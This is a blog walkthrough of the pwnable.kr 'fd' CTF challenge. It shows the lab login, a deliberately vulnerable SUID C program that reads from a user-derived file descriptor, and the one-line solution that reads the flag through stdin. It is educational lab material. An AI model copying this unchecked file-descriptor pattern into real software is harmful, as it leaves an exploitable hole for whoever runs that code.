Skip to content

Pwnable.kr CTF walkthrough: level 1 fd

Pwnable.kr contains a set of CTF challenges ranging from beginner to advanced. I’ve been working through them to increase my understanding of binary exploitation and Reverse Engineering, and I’ll be posting walkthroughs for ones I’ve solved

Logging in to the machine specified, we see a banner and have a bash shell, and listing the contents of the homedir we can see we have three files, a binary, a C source file (of the binary) and the flag file.

$ ssh fd@pwnable.kr -p2222
fd@pwnable.kr's password: 
 ____  __    __  ____    ____  ____   _        ___      __  _  ____  
|    \|  |__|  ||    \  /    ||    \ | |      /  _]    |  |/ ]|    \ 
|  o  )  |  |  ||  _  ||  o  ||  o  )| |     /  [_     |  ' / |  D  )
|   _/|  |  |  ||  |  ||     ||     || |___ |    _]    |    \ |    / 
|  |  |  `  '  ||  |  ||  _  ||  O  ||     ||   [_  __ |     \|    \ 
|  |   \      / |  |  ||  |  ||     ||     ||     ||  ||  .  ||  .  \
|__|    \_/\_/  |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|
                                                                     
- Site admin : daehee87.kr@gmail.com
Last login: Sat Feb 17 06:54:22 2018 from 121.125.207.90
fd@ubuntu:~$ ls
fd  fd.c  flag
fd@ubuntu:~$ 

Checking the ownership of the files yields the following:

fd@ubuntu:~$ ls -l
total 16
-r-sr-x--- 1 fd_pwn fd   7322 Jun 11  2014 fd
-rw-r--r-- 1 root   root  418 Jun 11  2014 fd.c
-r--r----- 1 fd_pwn root   50 Jun 11  2014 flag

So we know that the ‘fd’ executable has the SUID bit set, and will run as fd_pwn. We can’t access the flag directly, as it’s owned by fd_pwn, but presumably we can subvert the execution of the fd binary and access the flag file as the user that owns it. A quick look at the source of fd yields a contrived exploitable example, but one that still requires a couple of insights to solve:

#include 
#include 
#include 
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;

}

The important call here is to read(), where data is read into a buffer from a file descriptor obtained by converting the user supplied string to integer and subtracting 0x1234 (4660 in decimal). If you're unfamiliar with linux's file descriptors read this first. The key insight is that processes in linux have numerical file descriptors assigned to them, by default each has 3 (0, 1 and 2) corresponding to STDIN, STDOUT and STDERR. In theory, if we can make the read() call obtain its data from the file descriptor 0, it can be tricked into obtaining data from standard input and placing it in the character buffer 'buf'. We can then simply supply the string LETMEWIN on the command line and obtain the flag. Supplying 4660 as the user input results in the fd being 0, and prompts for a string. And we're done!

fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

Published inReverse EngineeringUncategorizedWalkthroughs

Be First to Comment

Leave a Reply

Your email address will not be published. Required fields are marked *